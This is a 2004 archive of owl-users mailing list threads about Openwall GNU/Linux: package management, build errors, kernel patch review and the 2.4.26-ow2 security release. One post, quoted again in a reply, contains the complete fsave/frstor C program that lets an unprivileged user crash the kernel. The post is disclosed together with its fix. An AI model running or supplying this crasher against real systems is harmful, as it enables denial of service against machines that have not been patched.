prefix1 = ftp://ftp.pl.openwall.com/pub/Owl/current/i386/RPMS/
source = LeeLoo,type=dir /home/japhy/.rpm.d/RPMS/i386
promoteepoch = yes
Second source entry is for packeges I rebuild by myself.
If anybody wanted to test or use Poldek on Owl, it's out there and
it's usable (at least for me). I think it would be good to
incorporate Poldek into the distribution and have indexes on ftp
mirrors -- it would ease upgrade of the system, mixing Owl packages
with locally rebuilt and third-party ones, and reduce bandwitch usage
on mirrors. Upgrading to current owl-current always was hard for me
because I don't have full install (e.g. I don't use Postfix but
netqmail) and had to manually select packages to upgrade; Owl lacked
some automatic upgrade/install/package management tool and Poldek
works just fine.
Greets,
--maciek
--
__ Maciek Pasternacki <maciekp@private> [ http://japhy.fnord.org/ ]
`| _ |_\ / { I tell you this, no eternal reward will forgive us now
,|{-}|}| }\/ for wasting the dawn! }
\/ |____/ ( Jim Morrison ) -><-
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Date: Tue, 11 May 2004 02:20:54 +0400
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: Poldek, apt-get-like functionality for RPM
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Hi,
Maciek, -- thank you for sharing this with owl-users, this is much
appreciated.
On Fri, May 07, 2004 at 01:43:16PM +0200, Maciek Pasternacki wrote:
> I use it on Owl for some time and it works quite fine except for some
> warnings related to usage of dummy Provides:/Requires: in kernel
> package. It has BuildRequires: rpm-devel >= 4.0 but it builds and
> runs with rpm3 (it's not a misfeature, I consulted it with program
> author and rpm3 support is intended, but it seems nobody except Owl
> users uses it now, so there was nobody to test).
Oh. We'll be moving to RPM 4.2+. The binutils update which went into
Owl-current a couple of days ago is the start of the big update to Owl.
> To build Poldek on Owl you need pcre library (working srpm is at
> http://leeloo.moo.pl/srpms/) and turn off BuildRequires on rpm-devel
> version in Poldek srpm (srpm with this BR turned off is also available
> at LeeLoo srpms page).
You could also build with --nodeps, although that would be a hack.
> If anybody wanted to test or use Poldek on Owl, it's out there and
> it's usable (at least for me). I think it would be good to
> incorporate Poldek into the distribution and have indexes on ftp
> mirrors -- it would ease upgrade of the system, mixing Owl packages
> with locally rebuilt and third-party ones, and reduce bandwitch usage
> on mirrors. Upgrading to current owl-current always was hard for me
> because I don't have full install (e.g. I don't use Postfix but
> netqmail) and had to manually select packages to upgrade; Owl lacked
> some automatic upgrade/install/package management tool and Poldek
> works just fine.
Oh, I don't think the current way of things is as bad as you make it
appear. "mirror -e RPMS" in lftp works quite well. I don't see how
you may be able to download less than that ...well, you may skip
downloading newer versions of a package you don't use, but that's all.
There aren't many packages in Owl which one may want to not use, --
most are essential to the system.
As for upgrading Owl while keeping your local alternatives to some of
Owl's packages, most of the time it isn't that hard. You can edit
installworld.conf to use "-F" instead of "-U" in FLAGS and it will
work most of the time. Yes, sometimes entirely new packages are added
to Owl and are required for the new version of Owl, -- in those cases
you do need the "-U". But most of the time "-F" is fine and it won't
try to install an Owl package which you had removed previously.
But getting us Poldek or apt-get or yum isn't out of consideration.
--
Alexander Peslyak <solar@private>
GPG key ID: B35D3598 fp: 6429 0D7E F130 C13E C929 6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
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Subject: Re: Poldek, apt-get-like functionality for RPM
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On Boomtime, Discord 59, 3170 YOLD, Solar Designer wrote:
>> If anybody wanted to test or use Poldek on Owl, it's out there and
>> it's usable (at least for me). I think it would be good to
>> incorporate Poldek into the distribution and have indexes on ftp
>> mirrors -- it would ease upgrade of the system, mixing Owl packages
>> with locally rebuilt and third-party ones, and reduce bandwitch usage
>> on mirrors. Upgrading to current owl-current always was hard for me
>> because I don't have full install (e.g. I don't use Postfix but
>> netqmail) and had to manually select packages to upgrade; Owl lacked
>> some automatic upgrade/install/package management tool and Poldek
>> works just fine.
>
> Oh, I don't think the current way of things is as bad as you make it
> appear. "mirror -e RPMS" in lftp works quite well. I don't see how
> you may be able to download less than that ...well, you may skip
> downloading newer versions of a package you don't use, but that's all.
> There aren't many packages in Owl which one may want to not use, --
> most are essential to the system.
Sometimes I don't want/need to keep full copy of all packages on the
system; for modern hardware it's not that much, but one of Owl's
features I appreciate is how it runs on older, slower hardware where
sometimes keeping whole mirror of distro locally would be overkill.
For some systems I might also prefer not to have any development
packages because I just don't need them; production systems can be
binary-only as well, and compiling packages can be handled on another
machine; that's quite a few packages.
> As for upgrading Owl while keeping your local alternatives to some of
> Owl's packages, most of the time it isn't that hard. You can edit
> installworld.conf to use "-F" instead of "-U" in FLAGS and it will
> work most of the time. Yes, sometimes entirely new packages are added
> to Owl and are required for the new version of Owl, -- in those cases
> you do need the "-U". But most of the time "-F" is fine and it won't
> try to install an Owl package which you had removed previously.
Yes, you're right, but on the other hand, Poldek is just more
comfortable to use when I use packages from multiple sources.
Upgrading system with Poldek also ignores new packages by default, so
-F indeed is a good alternative, but there are also packages from
other sources (say, RH6 updates or some packages built by software
vendor for RH6, or my local packages, which I build once and install
on more machines); it's easier to keep up-to-date and automate
upgrades or notifications about new versions of software when all
sources are handled in uniform way by one program. It's not matter of
functionality, it's a matter of convenience (using RPMs is also matter
of convenience -- Slackware runs on plain tarballs and they don't
complain). ;)
> But getting us Poldek or apt-get or yum isn't out of consideration.
I'd appreciate if Poldek or other package manager with similar
functionality (I don't know yum, and used apt only on Debian, where
its functionality is still less than Poldek's (and handling source
packages by apt... yuck. Debian automation, scripts and formats are
*terribly* kludgy) and as far as I know apt supporting RPMs is still
a bit of hack).
Greets,
--japhy
--
__ Maciek Pasternacki <maciekp@private> [ http://japhy.fnord.org/ ]
`| _ |_\ / { I tell you this, no eternal reward will forgive us now
,|{-}|}| }\/ for wasting the dawn! }
\/ |____/ ( Jim Morrison ) -><-
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Date: Mon, 7 Jun 2004 11:43:03 +0400
From: Solar Designer <solar@private>
To: announce@private, owl-users@private
Subject: Owl CVSweb server; scanlogd 2.2.4
Message-ID: <20040607074303.GA8693@private>
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Hi,
This is to announce two unrelated things at once: the Openwall CVSweb
server and the new release of scanlogd 2.2.4.
Yes, we've setup a CVSweb server which provides convenient access to
the entire Openwall GNU/*/Linux (Owl) CVS tree including source code
for Owl and consequently also for most other pieces of Openwall
software which are now maintained as a part of Owl but are also made
available separately. The CVSweb server allows the more experienced
users and other software developers to easily browse through revision
history and compare different versions of any source file that we've
been working on. It is available at the following location:
http://cvsweb.openwall.com
Please note that we also continue to maintain an anonymous CVS server
supporting the CVS pserver protocol and the CVS server protocol over
SSH, and obviously we continue to make our releases and snapshots of
Owl available through the FTP mirrors. All of these ways to obtain
Owl and thus also our other software are listed on this web page:
http://www.openwall.com/Owl/DOWNLOAD.shtml
Of course, the source code for scanlogd (just to give an example) is
available through the new CVSweb server too:
http://cvsweb.openwall.com/scanlogd
This redirects you to the CVSweb URL for the scanlogd directory within
the Owl tree.
But if you simply want to install and use the new release of scanlogd,
you should get it at the usual scanlogd homepage URL:
http://www.openwall.com/scanlogd/
The changes in scanlogd 2.2.4 are as follows:
scanlogd will now chroot to /var/empty to further reduce the impact of
potential bugs in scanlogd itself and in the libraries that it uses
(although there hasn't been a single bug like this found in scanlogd
in the 6 years that it exists).
When built with libnids or direct libpcap support, a smart pcap filter
expression (originally by Pavel Kankovsky) is now used to hopefully
filter out most uninteresting packets while in the kernel.
Many minor code cleanups and other enhancements have been made, and
RPM spec file and startup script for Red Hat Linux and compatible
distributions are now included. (You should be able to build scanlogd
RPMs with "rpm -tb scanlogd-2.2.4.tar.gz", provided that you have RPM
configured for package builds under your current user account.)
--
Alexander Peslyak <solar@private>
GPG key ID: B35D3598 fp: 6429 0D7E F130 C13E C929 6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
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Date: Tue, 15 Jun 2004 13:49:11 +0400
From: "Melekhov Alexandre A." <amel@private>
To: owl-users@private
Subject: SRPM build error
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Hello!
While trying to build any src.rpm i've got an error:
i.e.
skydive!build:~$ make PACKAGE=postfix
test -d native/Owl/build || make checkout
ln -sf native/Owl/build/.rpm* .
ln -s native/Owl/build/*.conf . 2> /dev/null || :
BRANCH=Owl native/Owl/build/buildworld.sh
13:33:19: Removing stale temporary files
13:33:19: Sanity check
13:33:19: Unreadable kernel includes
make: *** [default] Error 1
skydive!build:~$
Something strange because of all dirs in /usr/src/linux/include (incl. this one) are have 755 permissions and files (except scripts) - 644.
What am i doing wrong?
--
===========================
Best regards, SKYDIVER-RIPN
amel@private
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Date: Tue, 15 Jun 2004 13:55:51 +0400
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: SRPM build error
Message-ID: <20040615095551.GA16583@private>
References: <20040615134911.6fcbeb4a.amel@private>
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On Tue, Jun 15, 2004 at 01:49:11PM +0400, Melekhov Alexandre A. wrote:
> 13:33:19: Unreadable kernel includes
> make: *** [default] Error 1
> skydive!build:~$
>
> Something strange because of all dirs in /usr/src/linux/include (incl. this one) are have 755 permissions and files (except scripts) - 644.
You must be wrong about this. Please just do:
su - sources
chmod -R a+rX linux/include/
chmod 755 linux/
--
Alexander Peslyak <solar@private>
GPG key ID: B35D3598 fp: 6429 0D7E F130 C13E C929 6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
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Hello!
On Tue, 15 Jun 2004 13:55:51 +0400 Solar Designer <solar@private>
wrote about "Re: SRPM build error":
> You must be wrong about this. Please just do:
Yes, this helps. Probably i've re-unpack kernel sources and forgot to check permissions correctly.
Thanks a lot.
--
===========================
Best regards, SKYDIVER-RIPN
amel@private
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Subject: crash
From: Krzychu <krzysiek@private>
To: owl-users@private
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Hi,
it seems that this code:
#include <sys/time.h>
#include <signal.h>
#include <unistd.h>
static void Handler(int ignore)
{
char fpubuf[108];
__asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}
int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, Handler);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, ".", 1);
return 0;
}
executed by normal user can really crash our owl boxes. I've tested
in on 2.4.26-owl1 and the code "eat" 99% CPU's time. More info at:
http://linuxreviews.org/news/2004-06-11_kernel_crash/index.html
Fix of the problem is aviable at:
http://linuxreviews.org/news/2004-06-11_kernel_crash/24_kernel_ia32-and-x86_64-fix-fpu-state.patch.txt
Regards
--
Krzysztof Sniadoch
krzysiek@private
http://www.securenet.pl
"...qui desiderat pacem, praeparet bellum"
(...if you would have peace, be prepared for war) - Flavius Vegetius
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Date: Tue, 15 Jun 2004 23:00:58 +0400
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: crash
Message-ID: <20040615190058.GA1754@private>
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Hi,
On Tue, Jun 15, 2004 at 08:46:26PM +0200, Krzychu wrote:
> it seems that this code:
[...]
> executed by normal user can really crash our owl boxes.
Yes.
> Fix of the problem is aviable at:
> http://linuxreviews.org/news/2004-06-11_kernel_crash/24_kernel_ia32-and-x86_64-fix-fpu-state.patch.txt
Correct.
And this is one of the fixes already included in 2.4.26-ow2pre2 (it's
not public). Do you feel it's worth releasing an -ow2 right away,
knowing that there will be more important fixes by early July and an
-ow3 will be needed? I've been holding this incomplete set of fixes
for now...
--
Alexander Peslyak <solar@private>
GPG key ID: B35D3598 fp: 6429 0D7E F130 C13E C929 6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
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Subject: Re: crash
From: Krzychu <krzysiek@private>
To: owl-users@private
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W li¶cie z wto, 15-06-2004, godz. 21:00, Solar Designer pisze:
> And this is one of the fixes already included in 2.4.26-ow2pre2 (it's
> not public). Do you feel it's worth releasing an -ow2 right away,
> knowing that there will be more important fixes by early July and an
> -ow3 will be needed? I've been holding this incomplete set of fixes
> for now...
Hmm...Solar, isn't it a good idea to put your current work on ftp?
If 2.4.26-ow2pre2 contains current fixes, it could be useful for
owl-users. In my opinion, 2.4.26-owl_current should be available to
download, but you're the boss here ;-) the same with the date of offical
release owl2 - it's your choice.
--
Krzysztof Sniadoch
krzysiek@private
http://www.securenet.pl
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Date: Wed, 16 Jun 2004 09:39:36 +0400 (MSD)
From: Lunar <lunar@private>
To: owl-users@private
Subject: Re: crash
In-Reply-To: <1087325185.2587.25.camel@private>
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Hello !
It is simple :
dd if=/dev/mem of=/dev/null ;-)
Lunar
On Tue, 15 Jun 2004, Krzychu wrote:
> Hi,
> it seems that this code:
>
> #include <sys/time.h>
> #include <signal.h>
> #include <unistd.h>
>
> static void Handler(int ignore)
> {
> char fpubuf[108];
> __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
> write(2, "*", 1);
> __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
> }
>
> int main(int argc, char *argv[])
> {
> struct itimerval spec;
> signal(SIGALRM, Handler);
> spec.it_interval.tv_sec=0;
> spec.it_interval.tv_usec=100;
> spec.it_value.tv_sec=0;
> spec.it_value.tv_usec=100;
> setitimer(ITIMER_REAL, &spec, NULL);
> while(1)
> write(1, ".", 1);
>
> return 0;
> }
>
> executed by normal user can really crash our owl boxes. I've tested
> in on 2.4.26-owl1 and the code "eat" 99% CPU's time. More info at:
> http://linuxreviews.org/news/2004-06-11_kernel_crash/index.html
>
> Fix of the problem is aviable at:
> http://linuxreviews.org/news/2004-06-11_kernel_crash/24_kernel_ia32-and-x86_64-fix-fpu-state.patch.txt
>
> Regards
>
>
>
> --
> Krzysztof Sniadoch
> krzysiek@private
> http://www.securenet.pl
>
> "...qui desiderat pacem, praeparet bellum"
> (...if you would have peace, be prepared for war) - Flavius Vegetius
>
>
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Date: Wed, 16 Jun 2004 13:42:38 +0400
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: crash
Message-ID: <20040616094238.GA2869@private>
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On Wed, Jun 16, 2004 at 12:17:55AM +0200, Krzychu wrote:
> W li?cie z wto, 15-06-2004, godz. 21:00, Solar Designer pisze:=20
>=20
> > And this is one of the fixes already included in 2.4.26-ow2pre2 (it's
> > not public). Do you feel it's worth releasing an -ow2 right away,
> > knowing that there will be more important fixes by early July and an
> > -ow3 will be needed? I've been holding this incomplete set of fixes
> > for now...
>=20
> Hmm...Solar, isn't it a good idea to put your current work on ftp?
Sometimes, yes. Sometimes, no.
> If 2.4.26-ow2pre2 contains current fixes, it could be useful for
> owl-users.
Yes. And this time I can actually make it public since all of the
fixes are to publicly known or non-security issues. But this is not
always the case.
OK, given the exposure this fsave/frstor DoS has received, I am going
to release -ow2 prematurely, to be replaced with -ow3 by early July.
I am also going to let the subscribers of this mailing list test the
updated patch before I make it official:
ftp://ftp.openwall.com/pvt/linux-2.4.26-ow2pre2.diff
MD5(linux-2.4.26-ow2pre2.diff)=3D 25e64540a95a98f9bb3f63547fe297aa
--=20
Alexander Peslyak <solar@private>
GPG key ID: B35D3598 fp: 6429 0D7E F130 C13E C929 6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
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Date: Wed, 16 Jun 2004 15:59:19 +0400
From: Michael Tokarev <mjt@private>
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To: owl-users@private
Subject: Re: crash
References: <1087325185.2587.25.camel@private> <20040615190058.GA1754@private> <1087337724.3291.43.camel@private> <20040616094238.GA2869@private>
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Solar Designer wrote:
[]
> I am also going to let the subscribers of this mailing list test the
> updated patch before I make it official:
>
> ftp://ftp.openwall.com/pvt/linux-2.4.26-ow2pre2.diff
Speaking of the patch... The following change, which is
in ow patches for quite some time, is rather questionable.
diff -urPX nopatch linux-2.4.26/init/do_mounts.c linux/init/do_mounts.c
--- linux-2.4.26/init/do_mounts.c Fri Nov 28 18:26:21 2003
+++ linux/init/do_mounts.c Sat Apr 17 02:13:55 2004
@@ -367,11 +367,12 @@
* Allow the user to distinguish between failed open
* and bad superblock on root device.
*/
- printk ("VFS: Cannot open root device \"%s\" or %s\n",
+ printk ("VFS: Cannot open root device \"%s\" or %s, "
+ "retrying in 1s.\n",
root_device_name, kdevname (ROOT_DEV));
- printk ("Please append a correct \"root=\" boot option\n");
- panic("VFS: Unable to mount root fs on %s",
- kdevname(ROOT_DEV));
+ set_current_state(TASK_UNINTERRUPTIBLE);
+ schedule_timeout(HZ);
+ goto retry;
}
panic("VFS: Unable to mount root fs on %s", kdevname(ROOT_DEV));
out:
when sys.kernel.panic is set to some reasonable value, I
expect the kernel to reboot in case of boot failure,
instead of going into the endless loop. It is almost
irrelevant when you're able to access the machine
physically, but makes quite some difference when the
machine in question is remote. When trying out the
new kernel, I usually install it in parallel with
currently running kernel, set lilo to load it only
once (with -R option), panicing if can't boot
(panic=30 to mean reboot in 30 sec in case of panic).
Several times already I came across a problem when
due to the above "fix" the system won't boot and
needs physical presense to bring it up again --
mostly when booting initrd and forgotting to compile
appropriate filesystem support into kernel (which is
lame but still happens sometimes), or when root fs
is on nfs, but it did happen with normal on-disk
filesystems as well. After finding the problem
(which took me quite some time), I always delete
the above chunk of changes when applying Owl
kernel patches.
Why the above change is needed?
/mjt
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Date: Wed, 16 Jun 2004 16:05:19 +0400
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: crash
Message-ID: <20040616120519.GA3513@private>
References: <1087325185.2587.25.camel@private> <20040615190058.GA1754@private> <1087337724.3291.43.camel@private> <20040616094238.GA2869@private> <40D03617.3050606@private>
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On Wed, Jun 16, 2004 at 03:59:19PM +0400, Michael Tokarev wrote:
> Speaking of the patch... The following change, which is
> in ow patches for quite some time, is rather questionable.
[...]
> - printk ("VFS: Cannot open root device \"%s\" or %s\n",
> + printk ("VFS: Cannot open root device \"%s\" or %s, "
> + "retrying in 1s.\n",
> root_device_name, kdevname (ROOT_DEV));
> - printk ("Please append a correct \"root=\" boot option\n");
> - panic("VFS: Unable to mount root fs on %s",
> - kdevname(ROOT_DEV));
> + set_current_state(TASK_UNINTERRUPTIBLE);
> + schedule_timeout(HZ);
> + goto retry;
> Why the above change is needed?
It's needed for booting off USB CD-ROMs where the device might not be
detected by the time this code is reached.
Thank you for pointing out the problem with this and also for sharing
your approach to replacing kernels with owl-users.
I agree that this needs to be fixed, but by enhancing this code to
support a panic timeout rather than by reverting this change like you
do now. It will happen sooner if you submit a patch to do that. ;-)
--
/sd
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Date: Wed, 16 Jun 2004 16:09:21 +0400
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: crash
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On Wed, Jun 16, 2004 at 09:39:36AM +0400, Lunar wrote:
> It is simple :
>
> dd if=/dev/mem of=/dev/null ;-)
This, unlike the fsave/frstor crasher, requires group kmem or root
access. So it's irrelevant.
But, yes, until we get more flexible resource limits, it is possible
for local users to effectively crash the system.
--
/sd
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Date: Wed, 16 Jun 2004 19:20:43 +0400
From: Michael Tokarev <mjt@private>
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To: owl-users@private
Subject: Re: crash
References: <1087325185.2587.25.camel@private> <20040615190058.GA1754@private> <1087337724.3291.43.camel@private> <20040616094238.GA2869@private> <40D03617.3050606@private> <20040616120519.GA3513@private>
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Solar Designer wrote:
> On Wed, Jun 16, 2004 at 03:59:19PM +0400, Michael Tokarev wrote:
>
>>Speaking of the patch... The following change, which is
>>in ow patches for quite some time, is rather questionable.
[]
> It's needed for booting off USB CD-ROMs where the device might not be
> detected by the time this code is reached.
Aha. So how much time is needed for such an USB CD-ROM to became
ready? 1 secound? 10 secounds? I guess looping for about 10
times max will do the trick -- IF it can't be done by checking
for other error codes as in the switch statement a bit earlier
in the code - here it is in full, after Owl patch:
static void __init mount_block_root(char *name, int flags)
{
char *fs_names = __getname();
char *p;
get_fs_names(fs_names);
retry:
for (p = fs_names; *p; p += strlen(p)+1) {
int err = sys_mount(name, "/root", p, flags, root_mount_data);
switch (err) {
case 0:
goto out;
case -EACCES:
flags |= MS_RDONLY;
goto retry;
case -EINVAL:
case -EBUSY:
continue;
}
/*
* Allow the user to distinguish between failed open
* and bad superblock on root device.
*/
printk ("VFS: Cannot open root device \"%s\" or %s, "
"retrying in 1s.\n",
root_device_name, kdevname (ROOT_DEV));
set_current_state(TASK_UNINTERRUPTIBLE);
schedule_timeout(HZ);
goto retry;
}
panic("VFS: Unable to mount root fs on %s", kdevname(ROOT_DEV));
out:
putname(fs_names);
sys_chdir("/root");
ROOT_DEV = current->fs->pwdmnt->mnt_sb->s_dev;
printk("VFS: Mounted root (%s filesystem)%s.\n",
current->fs->pwdmnt->mnt_sb->s_type->name,
(current->fs->pwdmnt->mnt_sb->s_flags & MS_RDONLY) ? " readonly" : "");
}
(BTW, what will set_current_state(TASK_UNINTERRUPTIBLE) do
with the whole kernel in case SECOND retry will be successeful?
Shouldn't there be set_current_state(TASK_INTERRUPTIBLE) somewhere
too?)
> Thank you for pointing out the problem with this and also for sharing
> your approach to replacing kernels with owl-users.
Heh. I think the approach is quite logical thing to do...
At least I was doing it that way for ages, and it saved
me numerous times in the past from all sorts of various
mistakes i'm doing all the time... ;)
> I agree that this needs to be fixed, but by enhancing this code to
> support a panic timeout rather than by reverting this change like you
> do now. It will happen sooner if you submit a patch to do that. ;-)
Ok. I think the attached 3-liner should do the trick,
but TASK_UNINTERRUPTABLE question remains.
/mjt
--------------040105050307050205090508
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--- do_mounts.c.orig Wed Jun 16 19:17:02 2004
+++ do_mounts.c Wed Jun 16 19:17:49 2004
@@ -348,6 +348,7 @@
{
char *fs_names = __getname();
char *p;
+ int tries = 10;
get_fs_names(fs_names);
retry:
@@ -367,6 +368,8 @@
* Allow the user to distinguish between failed open
* and bad superblock on root device.
*/
+ if (!--tries)
+ break;
printk ("VFS: Cannot open root device \"%s\" or %s, "
"retrying in 1s.\n",
root_device_name, kdevname (ROOT_DEV));
--------------040105050307050205090508--
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Date: Thu, 17 Jun 2004 16:48:12 +0400
From: Michael Tokarev <mjt@private>
Organization: Telecom Service, JSC
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Subject: Malware on the list ;)
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Sorry can't resist... Just got this in response
to my last message to owl-users. Note the sender
address (both envelope and header) and message
origin - quite "interesting" too... Nothing to
do with Owl per se, but quie funny and related
to this mailinglist... ;)
/mjt
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To: <mjt@private>
Subject:Onderwerp: Norman Internet Protection - Malware-waarschuwing!
From: owl-users@private
Verzender: <mjt@private>
Geadresseerde: <owl-users@private>
Onderwerp: Re: crash
Gevonden malware: Het bestand is geblokkeerd.
Bestandsnaam van bijlage: do_mounts.diff
Status: geblokkeerd
Vergeet niet uw NVC-installatie regelmatig bij te werken
http://www.norman.com
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Date: Fri, 18 Jun 2004 04:43:19 +0400
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: Malware on the list ;)
Message-ID: <20040618004319.GA7497@private>
References: <40D1930C.2020402@private>
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On Thu, Jun 17, 2004 at 04:48:12PM +0400, Michael Tokarev wrote:
> Sorry can't resist... Just got this in response
> to my last message to owl-users. Note the sender
> address (both envelope and header) and message
> origin - quite "interesting" too... Nothing to
> do with Owl per se, but quie funny and related
> to this mailinglist... ;)
Well... Yes, it's a misconfigured mail server of an owl-users
subscriber. Apparently, their antivirus treats all unrecognized file
types as viruses and the bounce messages have the mailing list's
address as From: and envelope-from.
I've identified the subscriber, but am not sure what to do now.
Just unsubscribe them?
This does not result in a bounce for those who don't post attachments.
--
/sd
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Date: Fri, 18 Jun 2004 05:30:28 +0400
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: crash
Message-ID: <20040618013028.GA8252@private>
References: <1087325185.2587.25.camel@private> <20040615190058.GA1754@private> <1087337724.3291.43.camel@private> <20040616094238.GA2869@private> <40D03617.3050606@private> <20040616120519.GA3513@private> <40D0654B.6030606@private>
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On Wed, Jun 16, 2004 at 07:20:43PM +0400, Michael Tokarev wrote:
> (BTW, what will set_current_state(TASK_UNINTERRUPTIBLE) do
> with the whole kernel in case SECOND retry will be successeful?
> Shouldn't there be set_current_state(TASK_INTERRUPTIBLE) somewhere
> too?)
No, it's OK. The call to schedule_timeout() will take care of that:
* You can set the task state as follows -
*
* %TASK_UNINTERRUPTIBLE - at least @timeout jiffies are guaranteed to
* pass before the routine returns. The routine will return 0
*
* %TASK_INTERRUPTIBLE - the routine may return early if a signal is
* delivered to the current task. In this case the remaining time
* in jiffies will be returned, or 0 if the timer expired in time
*
* The current task state is guaranteed to be TASK_RUNNING when this
* routine returns.
> >Thank you for pointing out the problem with this and also for sharing
> >your approach to replacing kernels with owl-users.
>
> Heh. I think the approach is quite logical thing to do...
Indeed.
> At least I was doing it that way for ages, and it saved
> me numerous times in the past from all sorts of various
> mistakes i'm doing all the time... ;)
I've been using "lilo -R" a lot too, but not the reboot on panic.
> Ok. I think the attached 3-liner should do the trick,
Yes. I've re-done it slightly differently, though, to better preserve
the unpatched kernel's behavior when all 10 retries fail.
Thanks again,
--
/sd
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From: "Hellen Deckers" <bdeckers@private>
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Subject: Re: Malware on the list ;)
Date: Fri, 18 Jun 2004 13:15:11 +0100
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Been taking care off :-)
----- Original Message -----
From: "Michael Tokarev" <mjt@private>
To: <owl-users@private>
Sent: Thursday, June 17, 2004 1:48 PM
Subject: Malware on the list ;)
> Sorry can't resist... Just got this in response
> to my last message to owl-users. Note the sender
> address (both envelope and header) and message
> origin - quite "interesting" too... Nothing to
> do with Owl per se, but quie funny and related
> to this mailinglist... ;)
>
> /mjt
>
> Received: from smtp.concepts.nl (smtp-4.concepts.nl [213.197.30.111])
> by hobbit.corpit.ru (Postfix) with ESMTP
> for <mjt@private>; Thu, 17 Jun 2004 16:20:51 +0400 (MSD)
> (envelope-from owl-users@private)
> Received: from [213.148.230.109] (helo=hbp-gwco4qsmwas)
> by smtp.concepts.nl with smtp (Exim 4.34)
> id 1BavrD-0005Yk-2k
> for mjt@private; Thu, 17 Jun 2004 14:19:03 +0200
> To: <mjt@private>
> Subject:Onderwerp: Norman Internet Protection - Malware-waarschuwing!
> From: owl-users@private
>
> Verzender: <mjt@private>
> Geadresseerde: <owl-users@private>
> Onderwerp: Re: crash
>
> Gevonden malware: Het bestand is geblokkeerd.
> Bestandsnaam van bijlage: do_mounts.diff
> Status: geblokkeerd
>
> Vergeet niet uw NVC-installatie regelmatig bij te werken
> http://www.norman.com
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Date: Sat, 19 Jun 2004 13:37:07 +0400
From: Solar Designer <solar@private>
To: announce@private, owl-users@private
Cc: lwn@private
Subject: Linux 2.4.26-ow2
Message-ID: <20040619093707.GA2148@private>
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Hi,
Linux 2.4.26-ow2 is out:
http://www.openwall.com/linux/
This update fixes multiple security-related bugs in the Linux kernel
as well as two non-security bugs in the patch itself.
The now corrected Linux kernel issues include:
- Many security-related bugs discovered by Al Viro based on his run
of the Sparse source code checking tool over Linux 2.6.x, with the
fixes later back-ported to 2.4.x (CAN-2004-0495);
- The now widely publicized fsave/frstor local DoS on x86
(CAN-2004-0554);
- A leak of potentially sensitive data from uninitialized kernel
stack locations in the Intel PRO/1000 Gigabit Ethernet driver
(CAN-2004-0535);
- A use of a just-freed data structure in the procfs code, resulting
in undefined behavior should the memory get re-allocated for another
purpose;
- Two security-related IA64-specific bugs: a local DoS (CAN-2004-0477)
and an infoleak (CAN-2004-0565);
- The potential buffer overflow in panic(), even though there's no
known way to trigger it and no known way to exploit it once triggered
due to the nature of panic().
Now, to other changes applied to code added with -ow patches:
Sergey Vlasov discovered that the non-executable stack feature
with -ow patches for Linux 2.2.x and 2.4.x (but not 2.0.x) broke
support for realtime signals when signal handlers were being installed
by means other than the appropriate glibc functions. As Linux
applications which do not use or which bypass glibc functions are
rare, this problem went unnoticed for this long. Sergey determined
that the problem was related to an incorrect fixup of the stack
pointer value for the case of realtime signals (the non-realtime
signals worked OK, even without glibc). This has now been corrected.
Additionally, Sergey discovered that the GCC trampoline emulation
code in -ow patches for Linux 2.2.x and 2.4.x (but again not 2.0.x)
handled x86 instructions with certain addressing modes incorrectly,
and he provided a patch which is now included with minor changes.
These two fixes permit for Valgrind to run on Linux 2.4.26-ow2
without having to resort to doing a "chstk -e".
Finally, Michael Tokarev has explained the need for a behavior change
wrt the retried attempts to mount a root filesystem which -ow patches
for Linux 2.4.x started to do some months ago in order to support
booting off USB CD-ROMs. Per Michael's request, the kernel will now
do a maximum of 10 retries (waiting for 1 second before each), falling
back to the usual kernel panic should all 10 retries fail. This
permits for unattended reboots into an untested configuration where
the root filesystem might not mount and the system needs to return to
its previous kernel image automagically. Please refer to Michael's
description of this approach in his owl-users posting:
http://marc.theaimsgroup.com/?l=owl-users&m=108739533920021
--
Alexander Peslyak <solar@private>
GPG key ID: B35D3598 fp: 6429 0D7E F130 C13E C929 6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
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To: owl-users@private
Subject: Stmpclean vs. tmpwatch
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Date: Wed, 23 Jun 2004 12:01:12 +0200
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Hello.
Are there any big advantages of stmpclean in comparison to more
standard tmpwatch? I tried to google it out but there isn't much
material on this issue, and I believe there is some rationale for
choosing stmpclean over tmpwatch other than first letter `s' standing
for `secure'...
Greets,
--japh
P.S. Current version of Poldek srpm (http://www.pld.org.pl/~mis/poldek/)
recompiles cleanly without --nodeps or need to change
BuildRequires -- unnecesary BR on librpm version number is fixed
now.
--
__ Maciek Pasternacki <maciekp@private> [ http://japhy.fnord.org/ ]
`| _ |_\ / { (3) With sufficient thrust, pigs fly just fine. However,
,|{-}|}| }\/ this is not necessarily a good idea.[...] }
\/ |____/ ( RFC 1925, Basic Truths of Networking ) -><-
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Date: Mon, 28 Jun 2004 03:06:02 +0400
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: Stmpclean vs. tmpwatch
Message-ID: <20040627230602.GA28498@private>
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Hi,
On Wed, Jun 23, 2004 at 12:01:12PM +0200, Maciek Pasternacki wrote:
> Are there any big advantages of stmpclean in comparison to more
> standard tmpwatch?
When I picked stmpclean, it appeared that tmpwatch was heading in the
wrong direction. Some newer versions of tmpwatch were essentially
fork bombs waiting to be triggered, -- but this has since been fixed
and now the latest tmpwatch doesn't look nearly as bad.
tmpwatch will remove root-owned files except for some taboo ones;
stmpclean won't remove root-owned files at all.
